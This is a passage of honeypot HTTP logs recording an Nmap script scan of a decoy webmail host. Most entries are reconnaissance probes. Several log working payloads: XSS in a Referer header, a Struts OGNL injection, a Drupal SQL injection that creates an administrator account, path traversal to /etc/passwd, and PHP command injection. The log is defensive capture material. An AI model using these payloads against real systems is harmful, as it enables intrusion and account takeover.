  {"method": "GET", "path": "/CFIDE/adminapi/customtags/l10n.cfm", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.084303+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/otjvfpzykizeggiw" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Referer': '\"><script>alert(\"XSS\")</script><\"', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/otjvfpzykizeggiw", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Referer': '\"><script>alert(\"XSS\")</script><\"', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:38:15.134866+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': \"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'\].addHeader('X-Check-Struts', 'ymxswcup')}.multipart/form-data\", 'Host': '192.168.1.110'}" body=""]


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.184223+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/.git/HEAD" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/.git/HEAD", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.233940+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/index.php" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/index.php", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.283612+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Content-Length': '515', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close'}" body="name[0;insert%20into%20users%20%28uid%2Cname%2Cpass%2Cmail%2Cstatus%29%20select%20max%28uid%29%2B1%2C%27krlubtiqnr%27%2C%27%24P%24DwexvruonI3jQ27oea2L2i95hW0HzI1%27%2C%27xidhzpcb%40ikrvb.coi%27%2C1%20from%20users%3Binsert%20into%20users_roles%20%28uid%2C%20rid%29%20VALUES%20%28%28select%20uid%20from%20users%20where%20name%3D%27krlubtiqnr%27%29%2C%20%28select%20rid%20from%20role%20where%20name%20%3D%20%27administrator%27%29%29%3B#%20%20\]=ofaiwvjtag&name[0\]=osbcgzljhk&pass=zjmhuddvgs&form_id=user_login&op=Log"]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Content-Length': '515', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close'}"}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.333141+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/index.php" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/index.php", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.382571+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/xmldata" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/xmldata", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.432225+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/administrator/index.php" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/administrator/index.php", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.482610+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/index.php/wp-json/wp/v2/posts/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/index.php/wp-json/wp/v2/posts/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.532159+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/sdk/../../../../../..//etc/vmware/hostd/vmInventory.xml" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/sdk/../../../../../..//etc/vmware/hostd/vmInventory.xml", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.780925+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/euyecualobsc" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Content-Length': '100', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close'}" body="usesubform[1\]=1&usesubform[2\]=1&subform[1\][redirect\]=../../../../../etc/passwd&subform[1\][cXIb8O3\]=1"]

fields:
  {"method": "POST", "path": "/euyecualobsc", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Content-Length': '100', 'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close'}"}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.879684+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.929120+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/CFIDE/administrator/enter.cfm" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/CFIDE/administrator/enter.cfm", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.979007+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Access-Control-Request-Method': 'HEAD', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Origin': 'example.com', 'Host': '192.168.1.110', 'Connection': 'close'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Access-Control-Request-Method': 'HEAD', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Origin': 'example.com', 'Host': '192.168.1.110', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.029351+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.078947+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Length': '52', 'Host': '192.168.1.110'}" body="<?php system('echo NmapCVEIdentification');die(); ?>"]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Length': '52', 'Host': '192.168.1.110'}", "body": "<?php system('echo NmapCVEIdentification');die(); ?>"}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.128331+00:00 decky-webmail http - request [decnet@55555 method="DEBUG" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Command': 'stop-debug', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "DEBUG", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Command': 'stop-debug', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.177872+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/server-status" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/server-status", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.227447+00:00 decky-webmail http - request [decnet@55555 method="TRACE" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "TRACE", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.276816+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Max-Forwards': '0'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Max-Forwards': '0'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.326576+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/a" remote_addr="192.168.1.5" headers="{'Connection': 'keep-alive', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/a", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'keep-alive', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.378919+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/CFIDE/adminapi/administrator.cfc" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/CFIDE/adminapi/administrator.cfc", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:16.433168+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Depth': '0'}" body=""]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Depth': '0'}", "body": ""}


timestamp: 2026-04-08 04:38:24
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:24.387985+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/b" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/b", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:24
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:24.537358+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/c" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/c", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:24
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:24.686938+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/d" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/d", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:24
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:24.736611+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:38:24
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:24.836500+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/e" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/e", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:24
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:24.985945+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/f" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/f", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:25.136259+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/g" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/g", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:25.285927+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/h" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/h", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:25.435837+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/i" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/i", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:25.584954+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/j" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/j", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:25.734226+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/k" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/k", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:25.883337+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/l" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/l", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:26.033552+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/m" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/m", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:26.182666+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/n" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/n", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:26.332053+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/o" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/o", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:26.481239+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/admin/views/ajax/autocomplete/user/p" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/admin/views/ajax/autocomplete/user/p", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
